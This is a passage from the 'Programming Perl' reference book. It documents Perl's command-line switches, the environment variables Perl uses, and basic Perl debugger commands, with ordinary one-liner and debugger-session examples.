[3]At least, prior to release of Mac OS X, which, happily enough, is a BSD-derived system.

There is no general solution to all of this. It's just a mess. If you aren't on a Unix system but want to do command-line things, your best bet is to acquire a better command interpreter than the one your vendor supplied you, which shouldn't be too hard.

Or just write it all in Perl, and forget the one-liners.

19.1.2. Location of Perl

Although this may seem obvious, Perl is useful only when users can easily find it. When possible, it's good for both /usr/bin/perl and /usr/local/bin/perl to be symlinks to the actual binary. If that can't be done, system administrators are strongly encouraged to put Perl and its accompanying utilities into a directory typically found along a user's standard PATH, or in some other obvious and convenient place.

In this book, we use the standard #!/usr/bin/perl notation on the first line of the program to mean whatever particular mechanism works on your system. If you care about running a specific version of Perl, use a specific path:

#!/usr/local/bin/perl5.6.0
If you just want to be running at least some version number, but don't mind higher ones, place a statement like this near the top of your program:
use v5.6.0;
(Note: earlier versions of Perl use numbers like 5.005 or 5.004_05. Nowadays we would think of those as 5.5.0 and 5.4.5, but versions of Perl older than 5.6.0 won't understand that notation.)

19.1.3. Switches

A single-character command-line switch without its own argument may always be combined (bundled) with a switch following it.

#!/usr/bin/perl -spi.bak    # same as -s -p -i.bak
Switches are also known as options or flags. Whatever you call them, here are the ones Perl recognizes:

--

Terminates switch processing, even if the next argument starts with a minus. It has no other effect.

-0 OCTNUM
-0

Specifies the record separator ($/) as an octal number. If OCTNUM is not present, the NUL character (that's ASCII character 0, Perl's "\0") is the separator. Other switches may precede or follow the octal number. For example, if you have a version of find(1) that can print filenames terminated by the null character, you can say this:

% find . -name '*.bak' -print0 | perl -n0e unlink

The special value 00 makes Perl read files in paragraph mode, equivalent to setting the $/ variable to "". The value 0777 makes Perl slurp in whole files at once. This is equivalent to undefining the $/ variable. We use 0777 since there is no ASCII character with that value. (Unfortunately, there is a Unicode character with that value, \N{LATIN SMALL LETTER O WITH STROKE AND ACUTE}, but something tells us you won't be delimiting your records with that.)

-a

Turns on autosplit mode, but only when used with -n or -p. An implicit split command to the @F array is done as the first thing inside the implicit while loop produced by the -n and -p switches. So:

% perl -ane 'print pop(@F), "\n";'
is equivalent to:
LINE: while (<>) {
    @F = split(' ');
    print pop(@F), "\n";
}
A different field separator may be specified by passing a regular expression for split to the -F switch. For example, these two calls are equivalent:
% awk -F: '$7 && $7 !~ /^\/bin/' /etc/passwd
% perl -F: -lane 'print if $F[6] && $F[6] !~ m(^/bin)' /etc/passwd

-c

Causes Perl to check the syntax of the script and then exit without executing what it's just compiled. Technically, it does a bit more than that: it will execute any BEGIN or CHECK blocks and any use directives, since these are considered to occur before the execution of your program. It no longer executes any INIT or END blocks, however. The older but rarely useful behavior may still be obtained by putting:

BEGIN { $^C = 0; exit; }
at the end of your main script.

-C

Enables Perl to use the native wide-character APIs on the target system, if supported (as of version 5.6.0 it works on Microsoft platforms only). The special variable ${^WIDE_SYSTEM_CALLS} reflects the state of this switch.

-d

Runs the script under the Perl debugger. See Chapter 20, "The Perl Debugger".

-d:MODULE

Runs the script under the control of a debugging or tracing module installed in the Perl library as Devel::MODULE. For example, -d:DProf executes the script using the Devel::DProf profiler. See also the debugging section in Chapter 20, "The Perl Debugger".

-D LETTERS
-D NUMBER

Sets debugging flags. (This only works if debugging is compiled into your version of Perl as described below.) You may specify either a NUMBER that is the sum of the bits you want, or a list of LETTERS. To see how it executes your script, for instance, use -D14 or -Dslt. Another useful value is -D1024 or -Dx, which lists your compiled syntax tree. And -D512 or -Dr displays compiled regular expressions. The numeric value is available internally as the special variable $^D. Table 19-1 lists the assigned bit values.

Table 19.1. -D Options

Bit | Letter | Meaning
1 | p | Tokenizing and parsing
2 | s | Stack snapshots
4 | l | Label stack processing
8 | t | Trace execution
16 | o | Method and overloading resolution
32 | c | String/numeric conversions
64 | P | Print preprocessor command for -P
128 | m | Memory allocation
256 | f | Format processing
512 | r | Regex parsing and execution
1024 | x | Syntax tree dump
2048 | u | Tainting checks
4096 | L | Memory leaks (needs -DLEAKTEST when compiling Perl)
8192 | H | Hash dump--usurps values()
16384 | X | Scratchpad allocation
32768 | D | Cleaning up
65536 | S | Thread synchronization

All these flags require a Perl executable that was specially built for debugging. However, because this is not the default, you won't be able to use the -D switch at all unless you or your sysadmin built this special debugging version of Perl. See the INSTALL file in the Perl source directory for details, but the short story is that you need to pass -DDEBUGGING to your C compiler when compiling Perl itself. This flag is automatically set if you include the -g option when Configure asks you about optimizer and debugger flags.

If you're just trying to get a printout of each line of Perl code as it executes (the way that sh -x provides for shell scripts), you can't use Perl's -D switch. Instead do this:

# Bourne shell syntax
$ PERLDB_OPTS="NonStop=1 AutoTrace=1 frame=2" perl -dS program

# csh syntax
% (setenv PERLDB_OPTS "NonStop=1 AutoTrace=1 frame=2"; perl -dS program)
See Chapter 20, "The Perl Debugger" for details and variations.

-e PERLCODE

May be used to enter one or more lines of script. If -e is used, Perl will not look for the program's filename in the argument list. The PERLCODE argument is treated as if it ended with a newline, so multiple -e commands may be given to build up a multiline program. (Make sure to use semicolons where you would in a normal program stored in a file.) Just because -e supplies a newline on each argument doesn't imply that you must use multiple -e switches; if your shell supports multiline quoting like sh, ksh, or bash, you may pass a multiline script as one -e argument:

$ perl -e 'print "Howdy, ";
           print "@ARGV!\n";' world
Howdy, world!
With csh it's probably better to use multiple -e switches:
% perl -e 'print "Howdy, ";' \
       -e 'print "@ARGV!\n";' world
Howdy, world!
Both implicit and explicit newlines count in the line numbering, so the second print is on line 2 of the -e script in either case.

-F PATTERN

Specifies the pattern to split on when autosplitting via the -a switch (has no effect otherwise). The pattern may be surrounded by slashes (//), double quotes (""), or single quotes (''). Otherwise, it will be automatically put in single quotes. Remember that to pass quotes through a shell, you'll have to quote your quotes, and how you can do that depends on the shell.

-h

Prints a summary of Perl's command-line options.

-i EXTENSION
-i

Specifies that files processed by the <> construct are to be edited in place. It does this by renaming the input file, opening the output file by the original name, and selecting that output file as the default for calls to print, printf, and write.[4]

[4]Technically, this isn't really "in place". It's the same filename, but a different physical file.

The EXTENSION is used to modify the name of the old file to make a backup copy. If no EXTENSION is supplied, no backup is made and the current file is overwritten. If the EXTENSION doesn't contain a *, then that string is appended to the end of the current filename. If the EXTENSION does contain one or more * characters, then each * is replaced by the filename currently being processed. In Perl terms, you could think of this as:

($backup = $extension) =~ s/\*/$file_name/g;
This allows you to use a prefix for the backup file, instead of--or even in addition to--a suffix:
% perl -pi'orig_*' -e 's/foo/bar/' xyx     # backup to 'orig_xyx'
You can even put backup copies of the original files into another directory (provided that the directory already exists):
% perl -pi'old/*.orig' -e 's/foo/bar/' xyx # backup to 'old/xyx.orig'
These pairs of one-liners are equivalent:
% perl -pi -e 's/foo/bar/' xyx             # overwrite current file
% perl -pi'*' -e 's/foo/bar/' xyx          # overwrite current file

% perl -pi'.orig' -e 's/foo/bar/' xyx      # backup to 'xyx.orig'
% perl -pi'*.orig' -e 's/foo/bar/' xyx     # backup to 'xyx.orig'
From the shell, saying:
% perl -p -i.orig -e "s/foo/bar/;"
is the same as using the program:
#!/usr/bin/perl -pi.orig
s/foo/bar/;
which is convenient shorthand for the remarkably longer:
#!/usr/bin/perl
$extension = '.orig';
LINE: while (<>) {
    if ($ARGV ne $oldargv) {
        if ($extension !~ /\*/) {
            $backup = $ARGV . $extension;
        }
        else {
            ($backup = $extension) =~ s/\*/$ARGV/g;
        }
        unless (rename($ARGV, $backup)) {
            warn "cannot rename $ARGV to $backup: $!\n";
            close ARGV;
            next;
        }
        open(ARGVOUT, ">$ARGV");
        select(ARGVOUT);
        $oldargv = $ARGV;
    }
    s/foo/bar/;
}
continue {
    print;  # this prints to original filename
}
select(STDOUT);
This long code is virtually identical to the simple one-liner with the -i switch, except that the -i form doesn't need to compare $ARGV to $oldargv to know when the filename has changed. It does, however, use ARGVOUT for the selected filehandle and restore the old STDOUT as the default output filehandle after the loop. Like the code above, Perl creates the backup file irrespective of whether any output has truly changed. See the description of the eof function for examples of how to use use eof without parentheses to locate the end of each input file, in case you want to append to each file or to reset line numbering.

If, for a given file, Perl is unable to create the backup file as specified in the EXTENSION, it will issue a warning to that effect and continue processing any other remaining files listed.

You cannot use -i to create directories or to strip extensions from files. Nor can you use it with a ~ to indicate a home directory--which is just as well, since some folks like to use that character for their backup files:

% perl -pi~ -e 's/foo/bar/' file1 file2 file3...
Finally, the -i switch does not stop Perl from running if no filenames are given on the command line. When this happens, no backup is made since the original file cannot be determined, and processing proceeds from STDIN to STDOUT as might be expected.

-I DIRECTORY

Directories specified by -I are prepended to @INC, which holds the search path for modules. -I also tells the C preprocessor where to search for include files. The C preprocessor is invoked with -P; by default it searches /usr/include and /usr/lib/perl. Unless you're going to be using the C preprocessor (and almost no one does any more), you're better off using the use lib directive within your script. Like use lib, however, the -I switch implicitly adds platform-specific directories. See use lib in Chapter 31, "Pragmatic Modules", for details.

-l OCTNUM
-l

Enables automatic line-end processing. It has two effects: first, it automatically chomps the line terminator when used with -n or -p, and second, it sets $\ to the value of OCTNUM so that any print statements will have a line terminator of ASCII value OCTNUM added back on. If OCTNUM is omitted, -l sets $\ to the current value of $/, typically newline. So, to trim lines to 80 columns, say this:

% perl -lpe 'substr($_, 80) = ""'
Note that the assignment $\ = $/ is done when the switch is processed, so the input record separator can be different from the output record separator if the -l switch is followed by a -0 switch:
% gnufind / -print0 | perl -ln0e 'print "found $_" if -p'
This sets $\ to newline and later sets $/ to the null character. (Note that 0 would have been interpreted as part of the -l switch had it followed the -l directly. That's why we bundled the -n switch between them.)

-m and -M

These switches load a MODULE as if you'd executed a use, unless you specify -MODULE instead of MODULE, in which case they invoke no. For example, -Mstrict is like use strict, while -M-strict is like no strict.

-m MODULE

Executes use MODULE() before executing your script.

-M MODULE
-M'MODULE ...'

Executes use MODULE before executing your script. The command is formed by mere interpolation of the rest of the argument after the -M, so you can use quotes to add extra code after the module name, for example, -M'MODULE qw(foo bar)'.

-M MODULE=arg1,arg2...

A little built-in syntactic sugar means you can also say -Mmodule=foo,bar as a shortcut for -M'module qw(foo bar)'. This avoids the need to use quotes when importing symbols. The actual code generated by -Mmodule=foo,bar is:

use module split(/,/, q{foo,bar})
Note that the = form removes the distinction between -m and -M, but it's better to use the uppercase form to avoid confusion.

You may only use the -M and -m switches from a real command-line invocation of Perl, not as options picked up on the #! line. (Hey, if you're gonna put it in the file, why not just write the equivalent use or no instead?)

-n

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments much as sed -n or awk do:

LINE:
while (<>) {
    ...                # your script goes here
}
You may use LINE as a loop label from within you script, even though you can't see the actual label in your file.

Note that the lines are not printed by default. See -p to have lines printed. Here is an efficient way to delete all files older than a week:

find . -mtime +7 -print | perl -nle unlink
This is faster than using the -exec switch of find(1) because you don't have to start a process on every filename found. By an amazing coincidence, BEGIN and END blocks may be used to capture control before or after the implicit loop, just as in awk.

-p

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments much as sed does:

LINE:
while (<>) {
    ...         # your script goes here
}
continue {
    print or die "-p destination: $!\n";
}
You may use LINE as a loop label from within you script, even though you can't see the actual label in your file.

If a file named by an argument cannot be opened for some reason, Perl warns you about it, and moves on to the next file. Note that the lines are printed automatically. An error occurring during printing is treated as fatal. By yet another amazing coincidence, BEGIN and END blocks may be used to capture control before or after the implicit loop, just as in awk.

-P

Causes your script to be run through the C preprocessor before compilation by Perl. (Since both comments and cpp(1) directives begin with the # character, you should avoid starting comments with any words recognized by the C preprocessor such as "if", "else" or "define".) Whether you use -P switch or not, Perl still pays attention to #line directives to control the line number and filename, so any preprocessor can apprise Perl of these things. See the section Section 19.5.2, "Generating Perl in Other Languages" in Chapter 24, "Common Practices".

-s

Enables rudimentary switch-parsing for switches on the command line after the script name but before any filename arguments or a "--" switch-processing terminator. Any switch found is removed from @ARGV, and a variable by the same name as the switch is set in Perl. Switch bundling is not allowed because multicharacter switches are permitted.

The following script prints "true" only when the script is invoked with a -foo switch.

#!/usr/bin/perl -s
if ($foo) { print "true\n" }
If the switch is of the form -xxx=yyy, the $xxx variable is set to whatever follows the equals sign in that argument ("yyy" in this case). The following script prints "true" if and only if the script is invoked with a -foo=bar switch.
#!/usr/bin/perl -s
if ($foo eq 'bar') { print "true\n" }

-S

Makes Perl use the PATH environment variable to search for the script (unless the name of the script contains directory separators).

Typically, this switch is used to help emulate #! startup on platforms that don't support #!. On many platforms that have a shell compatible with Bourne or C shell, you can use this:

#!/usr/bin/perl
eval "exec /usr/bin/perl -S $0 $*"
        if $running_under_some_shell;
The system ignores the first line and feeds the script to /bin/sh, which proceeds to try to execute the Perl script as a shell script. The shell executes the second line as a normal shell command, and thus starts up the Perl interpreter. On some systems, $0 doesn't always contain the full pathname, so -S tells Perl to search for the script if necessary. After Perl locates the script, it parses the lines and ignores them because the variable $running_under_some_shell is never true. A better construct than $* would be ${1+"$@"}, which handles embedded spaces and such in the filenames but doesn't work if the script is being interpreted by csh. In order to start up sh instead of csh, some systems have to replace the #! line with a line containing just a colon, which Perl will politely ignore. Other systems can't control that and need a totally devious construct that will work under any of csh, sh, or perl, such as the following:
eval '(exit $?0)' && eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
    & eval 'exec /usr/bin/perl -S $0 $argv:q'
                   if 0;
Yes, it's ugly, but so are the systems that work[5] this way.

[5] We use the term advisedly.

On some platforms, the -S switch also makes Perl append suffixes to the filename while searching for it. For example, on Win32 platforms, the .bat and .cmd suffixes are appended if a lookup for the original name fails and the name does not already end in one of those suffixes. If your Perl was built with debugging enabled, you can use Perl's -Dp switch to watch how the search progresses.

If the filename supplied contains directory separators (even as just a relative pathname, not an absolute one), and if the file is not found, those platforms that implicitly append file extensions (not Unix) will do so and look for the file with those extensions added, one by one.

On DOS-like platforms, if the script does not contain directory separators, it will first be searched for in the current directory before being searched for in the PATH. On Unix platforms, the script will be searched for strictly on the PATH, due to security concerns about accidentally executing something in the current working directory without explicitly requesting this.

-T

Forces "taint" checks to be turned on so you can test them. Ordinarily these checks are done only when running setuid or setgid. It's a good idea to turn them on explicitly for programs run on another's behalf, such as CGI programs. See Chapter 23, "Security".

Note that, for security reasons, Perl must see this option quite early; usually this means it must appear early on the command line or in the #! line. If it's not early enough, Perl complains.

-u

Causes Perl to dump core after compiling your script. You can then in theory take this core dump and turn it into an executable file by using the undump program (not supplied). This speeds startup at the expense of some disk space (which you can minimize by stripping the executable). If you want to execute a portion of your script before dumping, use Perl's dump operator instead. Note: availability of undump is platform specific; it may not be available for a specific port of Perl. It has been superseded by the new Perl-to-C code generator, which is much more portable (but still experimental).

-U

Allows Perl to do unsafe operations. Currently the only "unsafe" operations are unlinking directories while running as superuser, and running setuid programs with fatal taint checks turned into warnings. Note that warnings must be enabled to actually produce the taint-check warnings.

-v

Prints the version and patch level of your Perl executable, along with a bit of extra information.

-V

Prints a summary of the major Perl configuration values and the current value of @INC.

-V:NAME

Prints to STDOUT the value of the named configuration variable. The NAME may contain regex characters, like "." to match any character, or ".*" to match any optional sequence of characters.

% perl -V:man.dir
man1dir='/usr/local/man/man1'
man3dir='/usr/local/man/man3'

% perl -V:'.*threads'
d_oldpthreads='undef'
use5005threads='define'
useithreads='undef'
usethreads='define'
If you ask for a configuration variable that doesn't exist, its value will be reported as "UNKNOWN". Configuration information is available from within a program using the Config module, although patterns are not supported for the hash subscripts:
% perl -MConfig -le 'print $Config{man1dir}'
/usr/local/man/man1
See the Config module in Chapter 32, "Standard Modules".

-w

Prints warnings about variables that are mentioned only once and scalar values that are used before being set. Also warns about redefined subroutines, and references to undefined filehandles or filehandles opened read-only that you are attempting to write on. Also warns you if you use values as numbers that don't look like numbers, if you use an array as though it were a scalar, if your subroutines recurse more than 100 deep, and innumerable other things. See every entry labelled "(W)" in Chapter 33, "Diagnostic Messages".

This switch just sets the global $^W variable. It has no effect on lexical warnings--see the -W and -X switches for that. You can enable or disable specific warnings via the use warnings pragma, described in Chapter 31, "Pragmatic Modules".

-W

Unconditionally and permanently enables all warnings throughout the program, even if warnings were disabled locally using no warnings or $^W = 0. This includes all files loaded via use, require, or do. Think of it as the Perl equivalent of the lint(1) command.

-x DIRECTORY
-x

Tells Perl to extract a script that is embedded in a message. Leading garbage will be discarded until the first line that starts with #! and contains the string "perl". Any meaningful switches on that line after the word "perl" will be applied. If a directory name is specified, Perl will switch to that directory before running the script. The -x switch controls the disposal of leading garbage only, not trailing garbage. The script must be terminated with __END__ or __DATA__ if there is trailing garbage to be ignored. (The script can process any or all of the trailing garbage via the DATA filehandle if desired. It could even in theory seek to the beginning of the file and process the leading garbage.)

-X

Unconditionally and permanently disables all warnings, the exact opposite of what the -W flag does.

Previous | Home | Next
18.7. Avant-Garde Compiler, Retro Interpreter | Book Index | 19.2. Environment Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Environment Variables (Programming Perl)

 Book Home Programming PerlSearch this book

19.2. Environment Variables

In addition to the various switches that explicitly modify Perl's behavior, you can set various environment variables to influence various underlying behaviors. How you set up these environment variables is system dependent, but one trick you should know if you use sh, ksh, or bash is that you can temporarily set an environment variable for a single command, as if it were a funny kind of switch. It has to be set in front of the command:

$ PATH='/bin:/usr/bin' perl myproggie
You can do something similar with a subshell in csh and tcsh:
% (setenv PATH "/bin:/usr/bin"; perl myproggie)
Otherwise, you'd typically set environment variables in some file with a name resembling .chsrc or .profile in your home directory. Under csh and tcsh you'd say:
% setenv PATH '/bin:/usr/bin'
And under sh, ksh, and bash you'd say:
$ PATH='/bin:/usr/bin'; export PATH
Other systems will have other ways of setting these on a semi-permanent basis. Here are the environment variables Perl pays attention to:

HOME

Used if chdir is called without an argument.

LC_ALL, LC_CTYPE, LC_COLLATE, LC_NUMERIC, PERL_BADLANG

Environment variables that control how Perl handles data specific to particular natural languages. See the online docs for perllocale.

LOGDIR

Used if chdir has no argument, but HOME is not set.

PATH

Used in executing subprocesses, and for finding the program if the -S switch is used.

PERL5LIB

A colon-separated list of directories in which to look for Perl library files before looking in the standard library and the current directory. Any architecture-specific directories under the specified locations are automatically included if they exist. If PERL5LIB is not defined, PERLLIB is consulted for backward compatibility with older releases.

When running taint checks (either because the program was running setuid or setgid, or the -T switch was used), neither of these library variables is used. Such programs must employ the use lib pragma for that purpose.

PERL5OPT

Default command-line switches. Switches in this variable are taken as if they were on every Perl command line. Only the -[DIMUdmw] switches are allowed. When running taint checks (because the program was running setuid or setgid, or the -T switch was used), this variable is ignored. If PERL5OPT begins with -T, tainting will be enabled, causing any subsequent options to be ignored.

PERL5DB

The command used to load the debugger code. The default is:

BEGIN { require 'perl5db.pl' }
See Chapter 20, "The Perl Debugger" for more uses of this variable.

PERL5SHELL (Microsoft ports only)

May be set to an alternative shell that Perl must use internally for executing commands via backticks or system. Default is cmd.exe /x/c on WinNT and command.com /c on Win95. The value is considered to be space separated. Precede any character that needs to be protected (like a space or backslash) with a backslash.

Note that Perl doesn't use COMSPEC for this purpose because COMSPEC has a high degree of variability among users, leading to portability concerns. Besides, Perl can use a shell that may not be fit for interactive use, and setting COMSPEC to such a shell may interfere with the proper functioning of other programs (which usually look in COMSPEC to find a shell fit for interactive use).

PERLLIB

A colon-separated list of directories in which to look for Perl library files before looking in the standard library and the current directory. If PERL5LIB is defined, PERLLIB is not used.

PERL_DEBUG_MSTATS

Relevant only if Perl is compiled with the malloc function included with the Perl distribution (that is, if perl -V:d_mymalloc yields "define"). If set, this causes memory statistics to be displayed after execution. If set to an integer greater than one, also causes memory statistics to be displayed after compilation.

PERL_DESTRUCT_LEVEL

Relevant only if your Perl executable was built with debugging enabled, this controls the behavior of global destruction of objects and other references.

Apart from these, Perl itself uses no other environment variables, except to make them available to the program being executed and to any child processes that program launches. Some modules, standard or otherwise, may care about other environment variables. For example, the use re pragma uses PERL_RE_TC and PERL_RE_COLORS, the Cwd module uses PWD, and the CGI module uses the many environment variables set by your HTTP daemon (that is, your web server) to pass information to the CGI script.

Programs running setuid would do well to execute the following lines before doing anything else, just to keep people honest:

$ENV{PATH}  = '/bin:/usr/bin';    # or whatever you need
$ENV{SHELL} = '/bin/sh' if exists $ENV{SHELL};
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};
See Chapter 23, "Security" for details.

Previous | Home | Next
19.1. Command Processing | Book Index | 20. The Perl Debugger
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Perl Debugger (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 20. The Perl Debugger

Contents:

Using the Debugger
Debugger Commands
Debugger Customization
Unattended Execution
Debugger Support
The Perl Profiler

First of all, have you tried the use warnings pragma?

If you invoke Perl with the -d switch, your program will be run inside the Perl debugger. This works like an interactive Perl environment, prompting for debugger commands that let you examine source code, set breakpoints, dump out your function-call stack, change the values of variables, and so on. Any command not recognized by the debugger is directly executed (using eval) as Perl code in the package of the code currently being debugged. (The debugger uses the DB package for its own state information, to avoid trampling yours.) This is so wonderfully convenient that people often fire up the debugger just to test out Perl constructs interactively. In that case, it doesn't matter what program you tell Perl to debug, so we'll choose one without much meaning:

% perl -de 42
In Perl, the debugger is not a program completely separate from the one being debugged, the way it usually is in a typical programming environment. Instead, the -d flag tells the compiler to insert source information into the parse trees it's about to hand off to the interpreter. That means your code must first compile correctly for the debugger to work on it. If that is successful, the intrepreter preloads a special Perl library file containing the debugger itself.
% perl -d /path/to/program
The program will halt immediately before the first run-time executable statement (but see the section Section 20.1, "Using the Debugger" regarding compile-time statements) and ask you to enter a debugger command. Whenever the debugger halts and shows you a line of code, it displays the line that it's about to execute, not the one just executed.

As the debugger encounters a line, it first checks for a breakpoint, prints it (if the debugger is in trace mode), performs any actions (created with the a command described later in "Debugger Commands"), and finally prompts the user if a breakpoint is present or if the debugger is in single-step mode. If not, it evaluates the line normally and continues to the next line.

20.1. Using the Debugger

The debugger prompt is something like:

DB<8>
or even:
DB<<17>>

where the number shows how many commands you've executed. A csh-like history mechanism allows you to access previous commands by number. For example, !17 would repeat command number 17. The number of angle brackets indicates the depth of the debugger. For example, you get more than one set of brackets if you're already at a breakpoint and then print out the result of a function call that itself also has a breakpoint.

If you want to enter a multiline command, such as a subroutine definition with several statements, you may escape the newline that would normally end the debugger command with a backslash. Here's an example:

DB<1> for (1..3) {         \
  cont:     print "ok\n";    \
  cont: }
  ok
  ok
  ok
Let's say you want to fire up the debugger on a little program of yours (let's call it camel_flea) and stop it as soon as it gets down to a function named infested. Here's how you'd do that:
% perl -d camel_flea

Loading DB routines from perl5db.pl version 1.07
Editor support available.

Enter h or `h h' for help, or `man perldebug' for more help.

main::(camel_flea:2):     pests('bactrian', 4);
  DB<1>
The debugger halts your program right before the first run-time executable statement (but see below about compile-time statements) and asks you to enter a command. Again, whenever the debugger stops to show you a line of code, it displays the line it's about to execute, not the one it just executed. The line displayed may not look exactly like it did in your source file, particularly if you've run it through any kind of preprocessor.

Now, you'd like to stop as soon as your program gets to the infested function, so you establish a breakpoint there like so:

DB<1> b infested
DB<2> c
The debugger now continues until it hits that function, at which point it says this:
main::infested(camel_flea:8):       my $bugs = int rand(3);

To look at a "window" of source code around the breakpoint, use the w command:

DB<2> w
5     }
6
7       sub infested {
8==>b       my $bugs = int rand(3);
9:          our $Master;
10:         contaminate($Master);
11:         warn "needs wash"
12              if $Master && $Master->isa("Human");
13
14:         print "got $bugs\n";

DB<2>
As you see by the ==> marker, your current line is line 8, and by the b there, you know it has a breakpoint on it. If you'` had set an action, there also would also have been an a there. The line numbers with colons are breakable; the rest are not.

To see who called whom, ask for a stack backtrace using the T command:

DB<2> T
$ = main::infested called from file `Ambulation.pm' line 4
@ = Ambulation::legs(1, 2, 3, 4) called from file `camel_flea' line 5
. = main::pests('bactrian', 4) called from file `camel_flea' line 2

The initial character ($, @, or .) tells whether the function was called in a scalar, list, or void context, respectively. There are three lines because you were three functions deep when you ran the stack backtrace. Here's what each line means:

  • The first line says you were in the function main::infested when you ran the stack trace. It tells you the function was called in a scalar context from line 4 of the file Ambulation.pm. It also shows that it was called without any arguments whatsoever, meaning it was called as &infested instead of the normal way, as infested().

  • The second line shows that the function Ambulation::legs was called in list context from line number 5 of the camel_flea file, with those four arguments.

  • The third line shows that main::pests was called in void context from line 2 of camel_flea.

If you have compile-phase executable statements such as code from BEGIN and CHECK blocks or use statements, these will not ordinarily be stopped by the debugger, although requires and INIT blocks will, since they happen after the transition to run phase (see Chapter 18, "Compiling"). Compile-phase statements can be traced with the AutoTrace option set in PERLDB_OPTS.

You can exert a little control over the Perl debugger from within your Perl program itself. You might do this, for example, to set an automatic breakpoint at a certain subroutine whenever a particular program is run under the debugger. From your own Perl code, however, you can transfer control back to the debugger using the following statement, which is harmless if the debugger is not running:

$DB::single = 1;
If you set $DB::single to 2, it's equivalent to the n command, whereas a value of 1 emulates the s command. The $DB::trace variable should be set to 1 to simulate the t command.

Another way to debug a module is to set breakpoint on loading:

DB<7> b load c:/perl/lib/Carp.pm
Will stop on load of `c:/perl/lib/Carp.pm'.
and then restart the debugger using the R command. For finer control, you can use the b compile subname to stop as soon as possible after a particular subroutine is compiled.

Previous | Home | Next
19.2. Environment Variables | Book Index | 20.2. Debugger Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugger Commands (Programming Perl)

 Programming PerlSearch this book

20.2. Debugger Commands

When you type commands into the debugger, you don't need to terminate them with a semicolon. Use a backslash to continue lines (but only in the debugger).

Since the debugger uses eval to execute commands, my, our, and local settings will disappear once the command returns. If a debugger command coincides with some function in your own program, simply precede the function call with anything that doesn't look like a debugger command, such as a leading ; or a +.

If the output of a debugger built-in command scrolls past your screen, just precede the command with a leading pipe symbol so it's run through your pager:

DB<1> |h

The debugger has plenty of commands, and we divide them (somewhat arbitrarily) into stepping and running, breakpoints, tracing, display, locating code, automatic command execution, and, of course, miscellaneous.

Perhaps the most important command is h, which provides help. If you type h h at the debugger prompt, you'll get a compact help listing designed to fit on one screen. If you type h COMMAND, you'll get help on that debugger command.

20.2.1. Stepping and Running

The debugger operates by stepping through your program line by line. The following commands let you control what you skip over and where you stop.

s
s EXPR

The s debugger command single-steps through the program. That is, the debugger will execute the next line of your program until another statement is reached, descending into subroutine calls as necessary. If the next line to execute involves a function call, then the debugger stops at the first line inside that function. If an EXPR is supplied that includes function calls, these will be single-stepped, too.

n
n EXPR

The n command executes subroutine calls, without stepping through them, until the beginning of the next statement at this same level (or higher). If an EXPR is supplied that includes function calls, those functions will be executed with stops before each statement.

<ENTER>

If you just hit enter at the debugger prompt, the previous n or s command is repeated.

.

The . command returns the internal debugger pointer to the line last executed and prints out that line.

r

This command continues until the currently executing subroutine returns. It displays the return value if the PrintRet option is set, which it is by default.

20.2.2. Breakpoints

b
b LINE
b CONDITION
b LINE CONDITION
b SUBNAME
b SUBNAME CONDITION
b postpone SUBNAME
b postpone SUBNAME CONDITION
b compile SUBNAME
b load FILENAME

The b debugger command sets a breakpoint before LINE, telling the debugger to stop the program at that point so that you can poke around. If LINE is omitted, sets a breakpoint on the line that's about to execute. If CONDITION is specified, it's evaluated each time the statement is reached: a breakpoint is triggered only if CONDITION is true. Breakpoints may only be set on lines that begin an executable statement. Note that conditions don't use if:

b 237 $x > 30
b 237 ++$count237 < 11
b 33 /pattern/i
The b SUBNAME form sets a (possibly conditional) breakpoint before the first line of the named subroutine. SUBNAME may be a variable containing a code reference; if so, CONDITION is not supported.

There are several ways to set a breakpoint on code that hasn't even been compiled yet. The b postpone form sets a (possibly conditional) breakpoint at the first line of SUBNAME after it is compiled.

The b compile form sets a breakpoint on the first statement to be executed after SUBNAME is compiled. Note that unlike the postpone form, this statement is outside the subroutine in question because the subroutine hasn't been called yet, only compiled.

The b load form sets a breakpoint on the first executed line of the file. The FILENAME should be a full pathname as found in the %INC values.

d
d LINE

This command deletes the breakpoint at LINE; if omitted, it deletes the breakpoint on the line about to execute.

D

This command deletes all breakpoints.

L

This command lists all the breakpoints and actions.

c
c LINE

This command continues execution, optionally inserting a one-time-only breakpoint at the specified LINE.

20.2.3. Tracing

T

This command produces a stack backtrace.

t
t EXPR

This command toggles trace mode, which prints out every line in your program as it is evaluated. See also the AutoTrace option discussed later in this chapter. If an EXPR is provided, the debugger will trace through its execution. See also the later section Section 20.4, "Unattended Execution".

W
W EXPR

This command adds EXPR as a global watch expression. (A watch expression is an expression that will cause a breakpoint when its value changes.) If no EXPR is provided, all watch expressions are deleted.

20.2.4. Display

Perl's debugger has several commands for examining data structures while your program is stopped at a breakpoint.

p
p EXPR

This command is the same as print DB::OUT EXPR in the current package. In particular, since this is just Perl's own print function, nested data structures and objects are not shown--use the x command for that. The DB::OUT handle prints to your terminal (or perhaps an editor window) no matter where standard output may have been redirected.

x
x EXPR

The x command evaluates its expression in list context and displays the result, pretty-printed. That is, nested data structures are printed out recursively and with unviewable characters suitably encoded.

V
V PKG
V PKG VARS

This command displays all (or when you specify VARS, some) variables in the specified PKG (defaulting to the main package) using a pretty printer. Hashes show their keys and values, control characters are rendered legibly, nested data structures print out in a legible fashion, and so on. This is similar to calling the x command on each applicable variable, except that x works with lexical variables, too. Also, here you type the identifiers without a type specifier such as $ or @, like this:

V Pet::Camel SPOT FIDO
In place of a variable name in VARS, you can use ~PATTERN or !PATTERN to print existing variables whose names either match or don't match the specified pattern.

X
X VARS

This command is the same as V CURRENTPACKAGE, where CURRENTPACKAGE is the package that the current line was compiled into.

H
H -NUMBER

This command displays the last NUMBER commands. Only commands longer than one character are stored in the history. (Most of them would be s or n, otherwise.) If NUMBER is omitted, all commands are listed.

20.2.5. Locating Code

Inside the debugger, you can extract and display parts of your program with these commands.

l
l LINE
l SUBNAME
l MIN+INCR
l MIN-MAX

The l command lists next the few lines of your program, or the specified LINE if provided, or the first few lines of the SUBNAME subroutine or code reference.

The l MIN+INCR form lists INCR+1 lines, starting at MIN. The l MIN-MAX form lists lines MIN through MAX.

-

This command lists the previous few lines of your program.

